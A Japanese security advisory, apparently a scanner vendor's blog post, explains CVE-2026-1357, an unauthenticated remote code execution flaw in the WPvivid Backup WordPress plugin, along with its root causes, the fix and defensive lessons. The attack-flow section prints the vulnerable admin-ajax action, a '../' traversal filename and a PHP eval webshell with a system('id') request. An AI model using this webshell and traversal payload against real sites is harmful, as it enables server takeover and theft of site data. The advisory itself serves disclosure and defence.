CVSS 9.8Critical

CVE-2026-1357: WPvivid Backupの未認証リモートコード実行

概要

  • CVE: CVE-2026-1357
  • 影響バージョン: WPvivid Backup & Migration <= 0.9.123
  • CVSS: 9.8 (Critical)
  • 認証: 不要(未認証)
  • 種別: 任意ファイルアップロード + リモートコード実行(RCE)

2026年1月、90万件以上のWordPressサイトで利用されているバックアッププラグイン「WPvivid Backup & Migration」に、認証不要でリモートコード実行が可能な致命的な脆弱性が発見されました。

この脆弱性は「他サイトからバックアップを受信する」オプション機能を有効化しているサイトに影響します。デフォルトでは無効ですが、サイト移行やステージング環境でこのオプションを使ったまま放置しているケースが多く、実際の被害が報告されています。Wordfenceは2026年1月22日に有料会員向けのファイアウォールルールを発行し、2026年2月21日に無料会員にも展開しました。

何が起きたか

脆弱性の根本原因は2つの実装上の欠陥の組み合わせです。

欠陥1 - openssl_private_decrypt() 失敗時の処理継続: バックアップ受信エンドポイントでは、送信元サイトの正当性をRSA暗号で検証しています。しかし openssl_private_decrypt() が失敗(検証エラー)を返した場合でも、コードはその後の処理を中断せず実行を継続していました。本来ならここで処理を止めて拒否すべきですが、エラーチェックが欠落していたため、認証を完全にスキップできました。

欠陥2 - ファイル名のパスサニタイズ欠如: バックアップファイルの受信処理において、ファイル名にディレクトリトラバーサル文字列(../)を含めることができました。これにより、アップロード先のディレクトリ制限を突破し、WordPressのドキュメントルート配下の任意の場所(例:テーマディレクトリ、プラグインディレクトリ)にファイルを書き込めました。

この2つの欠陥が組み合わさることで、外部の攻撃者が認証なしにPHPファイルを任意のパスに配置し、Webシェルとして実行できる状態になりました。

攻撃の仕組み

攻撃フロー:

  1. ターゲットの選定: 「他サイトからバックアップを受信」オプションが有効なWordPressサイトを特定する(WPvividの管理画面パスや特定のエンドポイントで判定可能)

  2. バックアップ受信エンドポイントへのリクエスト送信: REST APIまたはadmin-ajax.php経由でバックアップ受信エンドポイントを呼び出す

  3. RSA検証のバイパス: 不正な(または空の)署名データを送信する。openssl_private_decrypt() は失敗を返すが、エラーチェックがないためコード実行が継続される

POST /wp-admin/admin-ajax.php
action=wpvivid_upload_backup_to_remote
...
  1. ディレクトリトラバーサルによるファイル配置: ファイル名に ../ を含めることで、バックアップ保存ディレクトリの外にPHPファイルを書き込む
filename: ../../themes/twentytwentyfour/shell.php
content: <?php @eval($_POST['cmd']); ?>
  1. Webシェルの実行: 書き込んだPHPファイルにHTTPリクエストを送信して任意のコードを実行する
POST /wp-content/themes/twentytwentyfour/shell.php
cmd=system('id');
  1. 攻撃ウィンドウ: 受信キーの有効期間は24時間。この期間内に攻撃を完了させる必要がある

実際の被害

  • 90万サイトが潜在的に影響を受ける
  • 認証不要のため、自動化された大規模スキャン攻撃が容易
  • サーバー上で任意コードの実行が可能(OSコマンド実行、ファイル読み書き、データベースダンプ)
  • バックアップファイル内に含まれるデータベース接続情報・APIキーの窃取
  • ランサムウェアのインストールや、ボットネットへの組み込み
  • Wordfenceが1月22日に有料ルールを発行するまでの間、保護なしに露出していたサイトが存在

修正と教訓

修正: バージョン0.9.124(2026年1月28日リリース)で修正済み。openssl_private_decrypt() の返り値を適切にチェックし、検証失敗時は処理を中断するよう修正。また、ファイル名の ../ シーケンスを除去するサニタイズ処理が追加されました。

教訓:

  1. エラーチェックの徹底: 暗号検証など重要な処理の失敗は、必ず後続処理を中断させる。if (!$result) { return false; } の一行が致命的な脆弱性を防ぐ
  2. ファイル名のサニタイズ: ユーザー入力をファイルパスに使う場合は basename() を使うか、../ を明示的に除去する
  3. 非デフォルト機能のリスク管理: 移行作業後に有効化した機能を無効化し忘れるケースは多い。定期的な設定レビューが重要
  4. バックアッププラグインは高権限: バックアップ系プラグインはファイルシステムやDBへの広いアクセス権を持つため、脆弱性の影響が大きい
  5. ファイアウォールルールの即時適用: Wordfenceの有料プランでは脆弱性発見後すぐにルールが配信される。無料プランとの30日ギャップを認識する

Nyambushでの検出

NyambushはWordPressプラグインのバージョンを自動的に検出し、脆弱性データベースと照合します。WPvivid Backup & Migrationがバージョン0.9.123以下で動作している場合、CVSSスコア9.8の「Critical」警告とともに即座に通知します。

さらに、「他サイトからバックアップを受信」エンドポイントへの外部アクセスが可能かどうかを検査し、リスクが高い設定の場合は追加の警告を表示します。継続監視モードでは、プラグインがアップデートされるまで警告を維持し、修正を確認した時点でアラートを解除します。

この記事をシェア:Xでポスト

あなたのドメインは安全ですか?

Nyambushで今すぐ無料スキャンして、セキュリティリスクをチェックしましょう。